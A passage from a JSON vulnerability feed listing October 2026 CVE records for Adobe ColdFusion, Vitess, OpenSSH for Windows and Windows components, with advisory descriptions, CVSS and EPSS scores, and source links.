exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106622","cveId":"CVE-2026-106622","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation.","summary":"ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:31.490Z","updatedAt":"2026-10-15T18:30:37.370Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106622","asOf":"2026-10-15T18:30:37.370Z"},"epss":{"probability":0.00796,"percentile":0.56174,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106622&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106622","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106622","type":"primary","publishedAt":"2026-10-13T21:17:31.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106622&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106622, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106621","cveId":"CVE-2026-106621","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current...","summary":"ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction.","detail":"ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:31.380Z","updatedAt":"2026-10-15T18:30:31.820Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106621","asOf":"2026-10-15T18:30:31.820Z"},"epss":{"probability":0.00923,"percentile":0.60141,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106621&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106621","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106621","type":"primary","publishedAt":"2026-10-13T21:17:31.380Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106621&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106621, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106620","cveId":"CVE-2026-106620","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass.","summary":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:31.263Z","updatedAt":"2026-10-15T18:42:40.420Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106620","asOf":"2026-10-15T18:42:40.420Z"},"epss":{"probability":0.00417,"percentile":0.35779,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106620&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106620","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106620","type":"primary","publishedAt":"2026-10-13T21:17:31.263Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106620&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106620, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106619","cveId":"CVE-2026-106619","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:31.150Z","updatedAt":"2026-10-15T18:30:28.007Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106619","asOf":"2026-10-15T18:30:28.007Z"},"epss":{"probability":0.00556,"percentile":0.46087,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106619&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106619","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106619","type":"primary","publishedAt":"2026-10-13T21:17:31.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106619&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106619, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106612","cveId":"CVE-2026-106612","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:30.347Z","updatedAt":"2026-10-16T17:40:08.443Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106612","asOf":"2026-10-16T17:40:08.443Z"},"epss":{"probability":0.00522,"percentile":0.4403,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106612&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106612","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106612","type":"primary","publishedAt":"2026-10-13T21:17:30.347Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106612&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106612, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105903","cveId":"CVE-2026-105903","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current...","summary":"ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:29.813Z","updatedAt":"2026-10-16T20:56:53.803Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105903","asOf":"2026-10-16T20:56:53.803Z"},"epss":{"probability":0.00634,"percentile":0.50098,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105903&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105903","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105903","type":"primary","publishedAt":"2026-10-13T21:17:29.813Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105903&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105903, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105899","cveId":"CVE-2026-105899","aliases":[],"kind":"vulnerability","title":"ColdFusion is affected by an Unrestricted Upload of File with Dangerous Type vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"ColdFusion is affected by an Unrestricted Upload of File with Dangerous Type vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"ColdFusion is affected by an Unrestricted Upload of File with Dangerous Type vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:29.483Z","updatedAt":"2026-10-20T00:12:45.070Z","regions":["Global"],"vendor":"adobe","product":"coldfusion","stacks":["Adobe","coldfusion"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105899","asOf":"2026-10-20T00:12:45.070Z"},"epss":{"probability":0.01044,"percentile":0.63901,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105899&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105899","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105899","type":"primary","publishedAt":"2026-10-13T21:17:29.483Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105899&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105899, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104252","cveId":"CVE-2026-104252","aliases":[],"kind":"vulnerability","title":"Vitess is a database clustering system for horizontal scaling of MySQL.","summary":"Vitess is a database clustering system for horizontal scaling of MySQL. Prior to 23.0.5 and 24.0.2, twopczHandler in go/vt/vttablet/tabletserver/twopcz.go writes the Action and dtid form values from the vttablet and vtcombo /twopcz HTTP debug endpoint into a text/html response without HTML escaping. Under the default allow-all ACL policy, a remote unauthenticated attacker can send an operator a crafted request that executes script in the operator's browser after the request is opened. The script runs with the vttablet debug origin and can read same-origin diagnostic endpoints that expose query, transaction, environment, variable, or profiling data available in that deployment. This issue is fixed in versions 23.0.5 and 24.0.2.","detail":"Vitess is a database clustering system for horizontal scaling of MySQL. Prior to 23.0.5 and 24.0.2, twopczHandler in go/vt/vttablet/tabletserver/twopcz.go writes the Action and dtid form values from the vttablet and vtcombo /twopcz HTTP debug endpoint into a text/html response without HTML escaping. Under the default allow-all ACL policy, a remote unauthenticated attacker can send an operator a crafted request that executes script in the operator's browser after the request is opened. The script runs with the vttablet debug origin and can read same-origin diagnostic endpoints that expose query, transaction, environment, variable, or profiling data available in that deployment. This issue is fixed in versions 23.0.5 and 24.0.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:12.453Z","updatedAt":"2026-10-23T15:14:48.240Z","regions":["Global"],"vendor":"linuxfoundation","product":"vitess","stacks":["MySQL and MariaDB","vitess"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104252","asOf":"2026-10-23T15:14:48.240Z"},"epss":{"probability":0.01174,"percentile":0.67291,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104252&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104252","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104252","type":"primary","publishedAt":"2026-10-13T20:17:12.453Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/vitessio/vitess/security/advisories/GHSA-v75v-6fpf-gvw8","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104252&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104252, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97816","cveId":"CVE-2026-97816","aliases":[],"kind":"vulnerability","title":"Use after free in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.","summary":"Use after free in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.","detail":"Use after free in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:20.110Z","updatedAt":"2026-10-16T17:18:06.077Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","OpenSSH","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97816","asOf":"2026-10-16T17:18:06.077Z"},"epss":{"probability":0.0101,"percentile":0.62865,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97816&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97816","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97816","type":"primary","publishedAt":"2026-10-13T19:22:20.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97816","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97816&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97816, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97815","cveId":"CVE-2026-97815","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:19.930Z","updatedAt":"2026-10-16T17:18:05.910Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97815","asOf":"2026-10-16T17:18:05.910Z"},"epss":{"probability":0.00869,"percentile":0.58504,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97815&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97815","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97815","type":"primary","publishedAt":"2026-10-13T19:22:19.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97815","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97815&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97815, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97814","cveId":"CVE-2026-97814","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:19.753Z","updatedAt":"2026-10-16T17:18:05.737Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97814","asOf":"2026-10-16T17:18:05.737Z"},"epss":{"probability":0.01093,"percentile":0.65199,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97814&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 